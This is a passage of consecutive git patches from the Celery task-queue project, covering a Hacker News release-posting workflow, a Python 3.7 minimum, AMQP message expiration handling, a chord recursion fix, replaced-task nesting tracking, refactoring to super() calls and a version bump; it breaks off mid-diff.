-moto==2.0.10 +moto>=2.2.6 pre-commit -r extras/yaml.txt -r extras/msgpack.txt From ac7cc1e1c6017ea4cc1eb11e7206d703cda1a2e3 Mon Sep 17 00:00:00 2001 From: Micah Lyle Date: Sun, 23 May 2021 08:34:42 -0700 Subject: [PATCH 336/415] Prepared Hacker News Post on Release Action --- .../workflows/post_release_to_hacker_news.yml | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) create mode 100644 .github/workflows/post_release_to_hacker_news.yml diff --git a/.github/workflows/post_release_to_hacker_news.yml b/.github/workflows/post_release_to_hacker_news.yml new file mode 100644 index 00000000000..d81bfb22c43 --- /dev/null +++ b/.github/workflows/post_release_to_hacker_news.yml @@ -0,0 +1,17 @@ +on: + release: + types: [released] + +jobs: + post_release_to_hacker_news: + runs-on: ubuntu-latest + name: Post Release to Hacker News + steps: + - name: Post the Release + uses: MicahLyle/github-action-post-to-hacker-news@v1 + env: + HN_USERNAME: ${{ secrets.HN_USERNAME }} + HN_PASSWORD: ${{ secrets.HN_PASSWORD }} + HN_TITLE_FORMAT_SPECIFIER: Celery v%s Released! + HN_URL_FORMAT_SPECIFIER: https://docs.celeryproject.org/en/v%s/changelog.html + HN_TEST_MODE: true From 590703c65d2c2b2e73019eb1cfbd18a25fdab0bb Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 7 Sep 2021 20:22:20 +0600 Subject: [PATCH 337/415] update setup with python 3.7 as minimum --- setup.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/setup.py b/setup.py index 7a760178a65..f81e2404f36 100644 --- a/setup.py +++ b/setup.py @@ -163,7 +163,7 @@ def run_tests(self): license='BSD', platforms=['any'], install_requires=install_requires(), - python_requires=">=3.6,", + python_requires=">=3.7,", tests_require=reqs('test.txt'), extras_require=extras_require(), cmdclass={'test': pytest}, @@ -188,7 +188,6 @@ def run_tests(self): "Programming Language :: Python", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3", - "Programming Language :: Python :: 3.6", "Programming Language :: Python :: 3.7", "Programming Language :: Python :: 3.8", "Programming Language :: Python :: 3.9", From dc4bb4280c2e8a296522486b467278367b8faf09 Mon Sep 17 00:00:00 2001 From: Asif Saif Uddin Date: Tue, 7 Sep 2021 22:41:06 +0600 Subject: [PATCH 338/415] update kombu on setupcfg --- setup.cfg | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/setup.cfg b/setup.cfg index 3638e56dc6f..53909275c13 100644 --- a/setup.cfg +++ b/setup.cfg @@ -31,7 +31,7 @@ per-file-ignores = [bdist_rpm] requires = pytz >= 2016.7 billiard >= 3.6.3.0,<4.0 - kombu >= 4.6.8,<5.0.0 + kombu >= 5.2.0rc1,<6.0.0 [bdist_wheel] universal = 0 From 966a66dfcd4dda0e4f558bcc74c968747b16e2bf Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Mon, 6 Sep 2021 22:04:32 +0200 Subject: [PATCH 339/415] Added note about automatic killing all child processes of worker after its termination --- docs/userguide/workers.rst | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/docs/userguide/workers.rst b/docs/userguide/workers.rst index 74e29490913..1e51c915e67 100644 --- a/docs/userguide/workers.rst +++ b/docs/userguide/workers.rst @@ -97,6 +97,11 @@ longer version: $ ps auxww | awk '/celery worker/ {print $2}' | xargs kill -9 +.. versionchanged:: 5.2 + On Linux systems, Celery now supports sending :sig:`KILL` signal to all child processes + after worker termination. This is done via `PR_SET_PDEATHSIG` option of ``prctl(2)``. + + .. _worker-restarting: Restarting the worker From d3a4d07e16b169e3c056f1344cce68a07f3cf839 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 13 Sep 2021 16:33:50 +0000 Subject: [PATCH 340/415] [pre-commit.ci] pre-commit autoupdate MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit updates: - [github.com/asottile/pyupgrade: v2.25.0 → v2.26.0](https://github.com/asottile/pyupgrade/compare/v2.25.0...v2.26.0) --- .pre-commit-config.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index a1807946d9b..d6a815ae694 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.25.0 + rev: v2.26.0 hooks: - id: pyupgrade args: ["--py37-plus"] From 6c9f7854bd5b26ea288cd5c002cf57375989c6da Mon Sep 17 00:00:00 2001 From: Matus Valo Date: Thu, 16 Sep 2021 10:59:27 +0200 Subject: [PATCH 341/415] Move importskip before greenlet import (#6956) * Move importskip before greenlet import * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- t/unit/concurrency/test_eventlet.py | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) diff --git a/t/unit/concurrency/test_eventlet.py b/t/unit/concurrency/test_eventlet.py index 9dcdb479b26..aff2d310368 100644 --- a/t/unit/concurrency/test_eventlet.py +++ b/t/unit/concurrency/test_eventlet.py @@ -2,10 +2,13 @@ from unittest.mock import Mock, patch import pytest -from greenlet import GreenletExit -import t.skip -from celery.concurrency.eventlet import TaskPool, Timer, apply_target +pytest.importorskip('eventlet') + +from greenlet import GreenletExit # noqa + +import t.skip # noqa +from celery.concurrency.eventlet import TaskPool, Timer, apply_target # noqa eventlet_modules = ( 'eventlet', @@ -15,8 +18,6 @@ 'greenlet', ) -pytest.importorskip('eventlet') - @t.skip.if_pypy class EventletCase: From 1584138098900677dcc715d3918bd8a716f89e70 Mon Sep 17 00:00:00 2001 From: Nicolae Rosia Date: Thu, 16 Sep 2021 15:48:20 +0300 Subject: [PATCH 342/415] amqp: send expiration field to broker if requested by user (#6957) * amqp: send expiration field to broker if requested by user Signed-off-by: Nicolae Rosia * fix for when expires is datetime Signed-off-by: Nicolae Rosia * compile fix Signed-off-by: Nicolae Rosia * improve codecov Signed-off-by: Nicolae Rosia * comment fix Signed-off-by: Nicolae Rosia * yet another test Signed-off-by: Nicolae Rosia --- celery/app/base.py | 10 ++++++++++ t/unit/tasks/test_tasks.py | 24 +++++++++++++++++++++++- 2 files changed, 33 insertions(+), 1 deletion(-) diff --git a/celery/app/base.py b/celery/app/base.py index 3df9577dbe1..5d072bb109e 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -732,6 +732,16 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, ignore_result = options.pop('ignore_result', False) options = router.route( options, route_name or name, args, kwargs, task_type) + if expires is not None: + if isinstance(expires, datetime): + expires_s = (expires - self.now()).total_seconds() + else: + expires_s = expires + + if expires_s < 0: + expires_s = 0 + + options["expiration"] = expires_s if not root_id or not parent_id: parent = self.current_worker_task diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index 25229e7ba90..4beeaf967d0 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -930,7 +930,7 @@ def test_regular_task(self): consumer, sresult, self.mytask.name, name='Elaine M. Benes', ) - # With ETA. + # With ETA, absolute expires. presult2 = self.mytask.apply_async( kwargs={'name': 'George Costanza'}, eta=self.now() + timedelta(days=1), @@ -941,6 +941,28 @@ def test_regular_task(self): name='George Costanza', test_eta=True, test_expires=True, ) + # With ETA, absolute expires in the past. + presult2 = self.mytask.apply_async( + kwargs={'name': 'George Costanza'}, + eta=self.now() + timedelta(days=1), + expires=self.now() - timedelta(days=2), + ) + self.assert_next_task_data_equal( + consumer, presult2, self.mytask.name, + name='George Costanza', test_eta=True, test_expires=True, + ) + + # With ETA, relative expires. + presult2 = self.mytask.apply_async( + kwargs={'name': 'George Costanza'}, + eta=self.now() + timedelta(days=1), + expires=2 * 24 * 60 * 60, + ) + self.assert_next_task_data_equal( + consumer, presult2, self.mytask.name, + name='George Costanza', test_eta=True, test_expires=True, + ) + # With countdown. presult2 = self.mytask.apply_async( kwargs={'name': 'George Costanza'}, countdown=10, expires=12, From 34d9b7ee8dfee39192ccceb1ddb9bef5902ab802 Mon Sep 17 00:00:00 2001 From: John Zeringue Date: Wed, 15 Sep 2021 12:19:41 -0400 Subject: [PATCH 343/415] Single line drift warning The drift warning currently spans multiple lines, which causes issues in some logging systems. Make it a single line message instead. --- celery/events/state.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/celery/events/state.py b/celery/events/state.py index 087131aeec3..febf1175145 100644 --- a/celery/events/state.py +++ b/celery/events/state.py @@ -51,10 +51,10 @@ #: before we alert that clocks may be unsynchronized. HEARTBEAT_DRIFT_MAX = 16 -DRIFT_WARNING = """\ -Substantial drift from %s may mean clocks are out of sync. Current drift is -%s seconds. [orig: %s recv: %s] -""" +DRIFT_WARNING = ( + "Substantial drift from %s may mean clocks are out of sync. Current drift is " + "%s seconds. [orig: %s recv: %s]" +) logger = get_logger(__name__) warn = logger.warning From e2e3e95bf8ac9f85e1ee91753602c47bac878380 Mon Sep 17 00:00:00 2001 From: Erwin Van de Velde Date: Fri, 17 Sep 2021 11:41:36 +0200 Subject: [PATCH 344/415] canvas: fix kwargs argument to prevent recursion (#6810) (#6959) * canvas: fix kwargs argument to prevent recursion (#6810) * test for canvas: fix kwargs argument to prevent recursion (#6810) Co-authored-by: Erwin Van de Velde --- celery/canvas.py | 4 ++-- t/unit/tasks/test_chord.py | 18 ++++++++++++++++++ 2 files changed, 20 insertions(+), 2 deletions(-) diff --git a/celery/canvas.py b/celery/canvas.py index 8a471ec0471..f3a8efce1d5 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -1352,10 +1352,10 @@ def _unpack_args(header=None, body=None, **kwargs): def __init__(self, header, body=None, task='celery.chord', args=None, kwargs=None, app=None, **options): args = args if args else () - kwargs = kwargs if kwargs else {} + kwargs = kwargs if kwargs else {'kwargs': {}} Signature.__init__( self, task, args, - {'kwargs': kwargs, 'header': _maybe_group(header, app), + {**kwargs, 'header': _maybe_group(header, app), 'body': maybe_signature(body, app=app)}, app=app, **options ) self.subtask_type = 'chord' diff --git a/t/unit/tasks/test_chord.py b/t/unit/tasks/test_chord.py index d977418c1bc..af4fdee4627 100644 --- a/t/unit/tasks/test_chord.py +++ b/t/unit/tasks/test_chord.py @@ -279,6 +279,24 @@ def test_apply(self): finally: chord.run = prev + def test_init(self): + from celery import chord + from celery.utils.serialization import pickle + + @self.app.task(shared=False) + def addX(x, y): + return x + y + + @self.app.task(shared=False) + def sumX(n): + return sum(n) + + x = chord(addX.s(i, i) for i in range(10)) + # kwargs used to nest and recurse in serialization/deserialization + # (#6810) + assert x.kwargs['kwargs'] == {} + assert pickle.loads(pickle.dumps(x)).kwargs == x.kwargs + class test_add_to_chord: From 47118fbf236a8c1bff7136ef47a797e233593d84 Mon Sep 17 00:00:00 2001 From: Alejandro Solda <43531535+alesolda@users.noreply.github.com> Date: Mon, 20 Sep 2021 14:48:20 -0300 Subject: [PATCH 345/415] Allow to enable Events with app.conf mechanism --task-events is defined as a Click Boolean Flag, without an off-switch and False as the implicit default value, so when this parameter is omitted in CLI invocation, Click will set it to False. Because the aforementioned, *Events* only can be enabled via CLI (values in app.conf.worker_send_task_events will be ignored). Current behaviour: 1. click.option decorator for --task-events sets task_events flag to False 2. "either" function (with arguments worker_send_task_events, task_events) resolves to the first non-None value (in our case False) ignoring values from app.conf This fix changes --task-events default value from implicit "False" to explicit "None", allowing "either" method to correctly resolve in favor of app.conf.worker_send_task_events value when set. Fixes: #6910 --- celery/bin/worker.py | 1 + 1 file changed, 1 insertion(+) diff --git a/celery/bin/worker.py b/celery/bin/worker.py index 68a0d117247..7e0d3247ab5 100644 --- a/celery/bin/worker.py +++ b/celery/bin/worker.py @@ -206,6 +206,7 @@ def detach(path, argv, logfile=None, pidfile=None, uid=None, '--task-events', '--events', is_flag=True, + default=None, cls=CeleryOption, help_group="Pool Options", help="Send task-related events that can be captured by monitors" From 7227d4b36abcbe0f593c8aa308db15dd8f2039ba Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Mon, 20 Sep 2021 19:58:24 +0300 Subject: [PATCH 346/415] Warn when expiration date is in the past. --- celery/app/base.py | 11 +++++++++++ 1 file changed, 11 insertions(+) diff --git a/celery/app/base.py b/celery/app/base.py index 5d072bb109e..a00d4651336 100644 --- a/celery/app/base.py +++ b/celery/app/base.py @@ -739,6 +739,17 @@ def send_task(self, name, args=None, kwargs=None, countdown=None, expires_s = expires if expires_s < 0: + logger.warning( + f"{task_id} has an expiration date in the past ({-expires_s}s ago).\n" + "We assume this is intended and so we have set the " + "expiration date to 0 instead.\n" + "According to RabbitMQ's documentation:\n" + "\"Setting the TTL to 0 causes messages to be expired upon " + "reaching a queue unless they can be delivered to a " + "consumer immediately.\"\n" + "If this was unintended, please check the code which " + "published this task." + ) expires_s = 0 options["expiration"] = expires_s From c87eea4ef5a41fe140bb4aacd4f20301066e66fd Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 23 Sep 2021 15:53:55 +0300 Subject: [PATCH 347/415] Add the Framework :: Celery trove classifier. I've managed to add it to the official list. See https://github.com/pypa/trove-classifiers/pull/75. --- setup.py | 1 + 1 file changed, 1 insertion(+) diff --git a/setup.py b/setup.py index f81e2404f36..f3a211a3356 100644 --- a/setup.py +++ b/setup.py @@ -185,6 +185,7 @@ def run_tests(self): "License :: OSI Approved :: BSD License", "Topic :: System :: Distributed Computing", "Topic :: Software Development :: Object Brokering", + "Framework :: Celery", "Programming Language :: Python", "Programming Language :: Python :: 3 :: Only", "Programming Language :: Python :: 3", From 5b698151d5e8da10f6706df42fb99fb3105ac025 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 23 Sep 2021 16:22:50 +0300 Subject: [PATCH 348/415] Give indication whether the task is replacing another (#6916) * Give indication whether the task is replacing another. We now increase the replaced_task_nesting option each time we replace a task. * Added basic documentation. --- celery/app/task.py | 4 ++++ celery/worker/request.py | 4 ++++ docs/internals/protocol.rst | 1 + docs/userguide/tasks.rst | 5 ++++- t/unit/tasks/test_canvas.py | 2 +- t/unit/tasks/test_tasks.py | 5 +++++ 6 files changed, 19 insertions(+), 2 deletions(-) diff --git a/celery/app/task.py b/celery/app/task.py index e58b5b8ade5..9a6796e6bb3 100644 --- a/celery/app/task.py +++ b/celery/app/task.py @@ -88,6 +88,7 @@ class Context: properties = None retries = 0 reply_to = None + replaced_task_nesting = 0 root_id = None shadow = None taskset = None # compat alias to group @@ -128,6 +129,7 @@ def as_execution_options(self): 'headers': self.headers, 'retries': self.retries, 'reply_to': self.reply_to, + 'replaced_task_nesting': self.replaced_task_nesting, 'origin': self.origin, } @@ -916,11 +918,13 @@ def replace(self, sig): # which would break previously constructed results objects. sig.freeze(self.request.id) # Ensure the important options from the original signature are retained + replaced_task_nesting = self.request.get('replaced_task_nesting', 0) + 1 sig.set( chord=chord, group_id=self.request.group, group_index=self.request.group_index, root_id=self.request.root_id, + replaced_task_nesting=replaced_task_nesting ) # If the task being replaced is part of a chain, we need to re-create # it with the replacement signature - these subsequent tasks will diff --git a/celery/worker/request.py b/celery/worker/request.py index 59bf143feac..0b29bde65bb 100644 --- a/celery/worker/request.py +++ b/celery/worker/request.py @@ -311,6 +311,10 @@ def reply_to(self): # used by rpc backend when failures reported by parent process return self._request_dict['reply_to'] + @property + def replaced_task_nesting(self): + return self._request_dict.get('replaced_task_nesting', 0) + @property def correlation_id(self): # used similarly to reply_to diff --git a/docs/internals/protocol.rst b/docs/internals/protocol.rst index ce4794be83d..72f461dc936 100644 --- a/docs/internals/protocol.rst +++ b/docs/internals/protocol.rst @@ -49,6 +49,7 @@ Definition 'argsrepr': str repr(args), 'kwargsrepr': str repr(kwargs), 'origin': str nodename, + 'replaced_task_nesting': int } body = ( diff --git a/docs/userguide/tasks.rst b/docs/userguide/tasks.rst index eeb31d3ed21..49c4dd68337 100644 --- a/docs/userguide/tasks.rst +++ b/docs/userguide/tasks.rst @@ -67,7 +67,7 @@ consider enabling the :setting:`task_reject_on_worker_lost` setting. In previous versions, the default prefork pool scheduler was not friendly to long-running tasks, so if you had tasks that ran for minutes/hours, it was advised to enable the :option:`-Ofair ` command-line - argument to the :program:`celery worker`. However, as of version 4.0, + argument to the :program:`celery worker`. However, as of version 4.0, -Ofair is now the default scheduling strategy. See :ref:`optimizing-prefetch-limit` for more information, and for the best performance route long-running and short-running tasks to dedicated workers (:ref:`routing-automatic`). @@ -377,6 +377,9 @@ The request defines the following attributes: :properties: Mapping of message properties received with this task message (may be :const:`None` or :const:`{}`) +:replaced_task_nesting: How many times the task was replaced, if at all. + (may be :const:`0`) + Example ------- diff --git a/t/unit/tasks/test_canvas.py b/t/unit/tasks/test_canvas.py index 575861cc29e..f3f4c448fe0 100644 --- a/t/unit/tasks/test_canvas.py +++ b/t/unit/tasks/test_canvas.py @@ -91,7 +91,7 @@ def test_reduce(self): assert fun(*args) == x def test_replace(self): - x = Signature('TASK', ('A'), {}) + x = Signature('TASK', ('A',), {}) assert x.replace(args=('B',)).args == ('B',) assert x.replace(kwargs={'FOO': 'BAR'}).kwargs == { 'FOO': 'BAR', diff --git a/t/unit/tasks/test_tasks.py b/t/unit/tasks/test_tasks.py index 4beeaf967d0..f5b4af87003 100644 --- a/t/unit/tasks/test_tasks.py +++ b/t/unit/tasks/test_tasks.py @@ -1020,6 +1020,11 @@ def test_replace(self): with pytest.raises(Ignore): self.mytask.replace(sig1) sig1.freeze.assert_called_once_with(self.mytask.request.id) + sig1.set.assert_called_once_with(replaced_task_nesting=1, + chord=ANY, + group_id=ANY, + group_index=ANY, + root_id=ANY) def test_replace_with_chord(self): sig1 = Mock(name='sig1') From e68e844f93a7ac836bd60a0a8f89b570ecd8d483 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 23 Sep 2021 16:25:22 +0300 Subject: [PATCH 349/415] Make setup.py executable. --- setup.py | 0 1 file changed, 0 insertions(+), 0 deletions(-) mode change 100644 => 100755 setup.py diff --git a/setup.py b/setup.py old mode 100644 new mode 100755 From a2e45c995d52eae0b144db83d83f403dbe7b0547 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Thu, 23 Sep 2021 16:25:59 +0300 Subject: [PATCH 350/415] =?UTF-8?q?Bump=20version:=205.2.0b3=20=E2=86=92?= =?UTF-8?q?=205.2.0rc1?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .bumpversion.cfg | 2 +- README.rst | 6 +++--- celery/__init__.py | 2 +- docs/includes/introduction.txt | 2 +- 4 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index cf0e85fec33..e15f3d1d528 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 5.2.0b3 +current_version = 5.2.0rc1 commit = True tag = True parse = (?P\d+)\.(?P\d+)\.(?P\d+)(?P[a-z\d]+)? diff --git a/README.rst b/README.rst index 9a6b2335717..a2ae072e6fd 100644 --- a/README.rst +++ b/README.rst @@ -2,7 +2,7 @@ |build-status| |coverage| |license| |wheel| |pyversion| |pyimp| |ocbackerbadge| |ocsponsorbadge| -:Version: 5.2.0b3 (dawn-chorus) +:Version: 5.2.0rc1 (dawn-chorus) :Web: https://docs.celeryproject.org/en/stable/index.html :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ @@ -57,7 +57,7 @@ in such a way that the client enqueues an URL to be requested by a worker. What do I need? =============== -Celery version 5.2.0b3 runs on, +Celery version 5.2.0rc1 runs on, - Python (3.7, 3.8, 3.9) - PyPy3.7 (7.3+) @@ -90,7 +90,7 @@ Get Started =========== If this is the first time you're trying to use Celery, or you're -new to Celery 5.0.5 or 5.2.0b3 coming from previous versions then you should read our +new to Celery 5.0.5 or 5.2.0rc1 coming from previous versions then you should read our getting started tutorials: - `First steps with Celery`_ diff --git a/celery/__init__.py b/celery/__init__.py index 3fdffce06ca..3757c43a725 100644 --- a/celery/__init__.py +++ b/celery/__init__.py @@ -17,7 +17,7 @@ SERIES = 'dawn-chorus' -__version__ = '5.2.0b3' +__version__ = '5.2.0rc1' __author__ = 'Ask Solem' __contact__ = 'auvipy@gmail.com' __homepage__ = 'http://celeryproject.org' diff --git a/docs/includes/introduction.txt b/docs/includes/introduction.txt index 48c25ce0f07..7b40123da0a 100644 --- a/docs/includes/introduction.txt +++ b/docs/includes/introduction.txt @@ -1,4 +1,4 @@ -:Version: 5.2.0b3 (cliffs) +:Version: 5.2.0rc1 (cliffs) :Web: http://celeryproject.org/ :Download: https://pypi.org/project/celery/ :Source: https://github.com/celery/celery/ From f915f111b3c218a629d021a982adcc6658c87d50 Mon Sep 17 00:00:00 2001 From: Omer Katz Date: Sun, 26 Sep 2021 15:47:27 +0300 Subject: [PATCH 351/415] Bump Python 3.10.0 to rc2. --- .github/workflows/python-package.yml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/.github/workflows/python-package.yml b/.github/workflows/python-package.yml index a47283da6ac..4136c4eff62 100644 --- a/.github/workflows/python-package.yml +++ b/.github/workflows/python-package.yml @@ -24,7 +24,7 @@ jobs: strategy: fail-fast: false matrix: - python-version: ['3.7', '3.8', '3.9', '3.10.0-rc.1', 'pypy-3.7'] + python-version: ['3.7', '3.8', '3.9', '3.10.0-rc.2', 'pypy-3.7'] os: ["ubuntu-20.04", "windows-2019"] steps: From fb62bc8732b79af558fbf3d1ae903dcd4f5fd2f3 Mon Sep 17 00:00:00 2001 From: "pre-commit-ci[bot]" <66853113+pre-commit-ci[bot]@users.noreply.github.com> Date: Mon, 27 Sep 2021 21:32:18 +0300 Subject: [PATCH 352/415] [pre-commit.ci] pre-commit autoupdate (#6972) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * [pre-commit.ci] pre-commit autoupdate updates: - [github.com/asottile/pyupgrade: v2.26.0 → v2.28.0](https://github.com/asottile/pyupgrade/compare/v2.26.0...v2.28.0) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- .pre-commit-config.yaml | 2 +- celery/app/amqp.py | 6 +++--- celery/app/log.py | 2 +- celery/apps/worker.py | 2 +- celery/backends/elasticsearch.py | 12 ++++++------ celery/beat.py | 2 +- celery/canvas.py | 21 ++++++++------------- celery/contrib/rdb.py | 2 +- celery/events/cursesmon.py | 2 +- celery/result.py | 4 ++-- celery/security/certificate.py | 2 +- celery/utils/log.py | 8 ++++---- celery/utils/serialization.py | 2 +- celery/utils/time.py | 2 +- celery/utils/timer2.py | 2 +- setup.py | 2 +- t/unit/app/test_beat.py | 4 ++-- t/unit/app/test_builtins.py | 6 +++--- t/unit/app/test_log.py | 2 +- t/unit/backends/test_base.py | 2 +- t/unit/utils/test_pickle.py | 2 +- t/unit/utils/test_saferepr.py | 10 +++++----- t/unit/worker/test_request.py | 2 +- t/unit/worker/test_strategy.py | 2 +- 24 files changed, 49 insertions(+), 54 deletions(-) diff --git a/.pre-commit-config.yaml b/.pre-commit-config.yaml index d6a815ae694..83eaf953100 100644 --- a/.pre-commit-config.yaml +++ b/.pre-commit-config.yaml @@ -1,6 +1,6 @@ repos: - repo: https://github.com/asottile/pyupgrade - rev: v2.26.0 + rev: v2.28.0 hooks: - id: pyupgrade args: ["--py37-plus"] diff --git a/celery/app/amqp.py b/celery/app/amqp.py index 12a511d75fd..10747eed93b 100644 --- a/celery/app/amqp.py +++ b/celery/app/amqp.py @@ -56,7 +56,7 @@ class Queues(dict): def __init__(self, queues=None, default_exchange=None, create_missing=True, autoexchange=None, max_priority=None, default_routing_key=None): - dict.__init__(self) + super().__init__() self.aliases = WeakValueDictionary() self.default_exchange = default_exchange self.default_routing_key = default_routing_key @@ -73,12 +73,12 @@ def __getitem__(self, name): try: return self.aliases[name] except KeyError: - return dict.__getitem__(self, name) + return super().__getitem__(name) def __setitem__(self, name, queue): if self.default_exchange and not queue.exchange: queue.exchange = self.default_exchange - dict.__setitem__(self, name, queue) + super().__setitem__(name, queue) if queue.alias: self.aliases[queue.alias] = queue diff --git a/celery/app/log.py b/celery/app/log.py index 01b45aa4ae1..4ca9bc7ccd1 100644 --- a/celery/app/log.py +++ b/celery/app/log.py @@ -41,7 +41,7 @@ def format(self, record): else: record.__dict__.setdefault('task_name', '???') record.__dict__.setdefault('task_id', '???') - return ColorFormatter.format(self, record) + return super().format(record) class Logging: diff --git a/celery/apps/worker.py b/celery/apps/worker.py index c220857eb3a..8f774ae3858 100644 --- a/celery/apps/worker.py +++ b/celery/apps/worker.py @@ -121,7 +121,7 @@ def on_init_blueprint(self): def on_start(self): app = self.app - WorkController.on_start(self) + super().on_start() # this signal can be used to, for example, change queues after # the -Q option has been applied. diff --git a/celery/backends/elasticsearch.py b/celery/backends/elasticsearch.py index 42e93b23d53..c40b15ddec8 100644 --- a/celery/backends/elasticsearch.py +++ b/celery/backends/elasticsearch.py @@ -199,10 +199,10 @@ def _update(self, id, body, state, **kwargs): def encode(self, data): if self.es_save_meta_as_text: - return KeyValueStoreBackend.encode(self, data) + return super().encode(data) else: if not isinstance(data, dict): - return KeyValueStoreBackend.encode(self, data) + return super().encode(data) if data.get("result"): data["result"] = self._encode(data["result"])[2] if data.get("traceback"): @@ -211,14 +211,14 @@ def encode(self, data): def decode(self, payload): if self.es_save_meta_as_text: - return KeyValueStoreBackend.decode(self, payload) + return super().decode(payload) else: if not isinstance(payload, dict): - return KeyValueStoreBackend.decode(self, payload) + return super().decode(payload) if payload.get("result"): - payload["result"] = KeyValueStoreBackend.decode(self, payload["result"]) + payload["result"] = super().decode(payload["result"]) if payload.get("traceback"): - payload["traceback"] = KeyValueStoreBackend.decode(self, payload["traceback"]) + payload["traceback"] = super().decode(payload["traceback"]) return payload def mget(self, keys): diff --git a/celery/beat.py b/celery/beat.py index 7f72f2f2fec..d8a4fc9e8b2 100644 --- a/celery/beat.py +++ b/celery/beat.py @@ -512,7 +512,7 @@ class PersistentScheduler(Scheduler): def __init__(self, *args, **kwargs): self.schedule_filename = kwargs.get('schedule_filename') - Scheduler.__init__(self, *args, **kwargs) + super().__init__(*args, **kwargs) def _remove_db(self): for suffix in self.known_suffixes: diff --git a/celery/canvas.py b/celery/canvas.py index f3a8efce1d5..18eece20ef8 100644 --- a/celery/canvas.py +++ b/celery/canvas.py @@ -485,7 +485,7 @@ def __repr__(self): return self.reprcall() def items(self): - for k, v in dict.items(self): + for k, v in super().items(): yield k.decode() if isinstance(k, bytes) else k, v @property @@ -600,8 +600,7 @@ def from_dict(cls, d, app=None): def __init__(self, *tasks, **options): tasks = (regen(tasks[0]) if len(tasks) == 1 and is_list(tasks[0]) else tasks) - Signature.__init__( - self, 'celery.chain', (), {'tasks': tasks}, **options + super().__init__('celery.chain', (), {'tasks': tasks}, **options ) self._use_link = options.pop('use_link', None) self.subtask_type = 'chain' @@ -613,7 +612,7 @@ def __call__(self, *args, **kwargs): def clone(self, *args, **kwargs): to_signature = maybe_signature - signature = Signature.clone(self, *args, **kwargs) + signature = super().clone(*args, **kwargs) signature.kwargs['tasks'] = [ to_signature(sig, app=self._app, clone=True) for sig in signature.kwargs['tasks'] @@ -903,8 +902,7 @@ def from_dict(cls, d, app=None): return cls(*cls._unpack_args(d['kwargs']), app=app, **d['options']) def __init__(self, task, it, **options): - Signature.__init__( - self, self._task_name, (), + super().__init__(self._task_name, (), {'task': task, 'it': regen(it)}, immutable=True, **options ) @@ -957,8 +955,7 @@ def from_dict(cls, d, app=None): return chunks(*cls._unpack_args(d['kwargs']), app=app, **d['options']) def __init__(self, task, it, n, **options): - Signature.__init__( - self, 'celery.chunks', (), + super().__init__('celery.chunks', (), {'task': task, 'it': regen(it), 'n': n}, immutable=True, **options ) @@ -1056,8 +1053,7 @@ def __init__(self, *tasks, **options): tasks = [tasks.clone()] if not isinstance(tasks, _regen): tasks = regen(tasks) - Signature.__init__( - self, 'celery.group', (), {'tasks': tasks}, **options + super().__init__('celery.group', (), {'tasks': tasks}, **options ) self.subtask_type = 'group' @@ -1353,8 +1349,7 @@ def __init__(self, header, body=None, task='celery.chord', args=None, kwargs=None, app=None, **options): args = args if args else () kwargs = kwargs if kwargs else {'kwargs': {}} - Signature.__init__( - self, task, args, + super().__init__(task, args, {**kwargs, 'header': _maybe_group(header, app), 'body': maybe_signature(body, app=app)}, app=app, **options ) @@ -1500,7 +1495,7 @@ def run(self, header, body, partial_args, app=None, interval=None, return bodyres def clone(self, *args, **kwargs): - signature = Signature.clone(self, *args, **kwargs) + signature = super().clone(*args, **kwargs) # need to make copy of body try: signature.kwargs['body'] = maybe_signature( diff --git a/celery/contrib/rdb.py b/celery/contrib/rdb.py index 6d346a0d36f..995bec16d19 100644 --- a/celery/contrib/rdb.py +++ b/celery/contrib/rdb.py @@ -110,7 +110,7 @@ def __init__(self, host=CELERY_RDB_HOST, port=CELERY_RDB_PORT, self.remote_addr = ':'.join(str(v) for v in address) self.say(SESSION_STARTED.format(self=self)) self._handle = sys.stdin = sys.stdout = self._client.makefile('rw') - Pdb.__init__(self, completekey='tab', + super().__init__(completekey='tab', stdin=self._handle, stdout=self._handle) def get_avail_port(self, host, port, search_limit=100, skew=+0): diff --git a/celery/events/cursesmon.py b/celery/events/cursesmon.py index e9534a7a554..677c5e7556a 100644 --- a/celery/events/cursesmon.py +++ b/celery/events/cursesmon.py @@ 